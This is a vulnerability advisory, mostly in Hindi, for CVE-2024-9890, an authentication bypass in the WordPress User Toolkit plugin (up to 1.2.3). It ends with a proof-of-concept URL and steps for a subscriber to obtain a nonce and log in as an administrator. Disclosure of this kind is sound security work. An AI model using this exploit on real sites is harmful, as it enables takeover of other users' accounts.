CVE-2024-9890

User Toolkit <= 1.2.3 - प्रमाणित (सब्सक्राइबर+) प्रमाणीकरण बायपास

विवरण:

वर्डप्रेस के लिए User Toolkit प्लगइन संस्करण 1.2.3 तक (शामिल) में प्रमाणीकरण बायपास की कमजोरी है। यह 'switchUser' फ़ंक्शन में अनुचित क्षमता जांच के कारण होता है। इससे प्रमाणित हमलावर, जिनके पास सब्सक्राइबर-स्तर की अनुमतियाँ और उससे ऊपर की अनुमतियाँ हैं, साइट पर किसी भी मौजूदा उपयोगकर्ता (जैसे व्यवस्थापक) के रूप में लॉग इन कर सकते हैं।

Published: 2024-10-25 00:00:00
CVE: CVE-2024-9890
CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSS Score: 8.8
Slugs: user-toolkit

POC

http://kubernetes.docker.internal/wp-login.php?action=switch_user&user_id=4&user_from=1&_wpnonce=8af7611329

अपने उपयोगकर्ता के रूप में लॉग इन करें। अपने प्रोफ़ाइल पृष्ठ का view-source करें और nonce मान प्राप्त करें। user_from मान को अपने उपयोगकर्ता आईडी में बदलें user_id को व्यवस्थापक के आईडी में बदलें हो गया!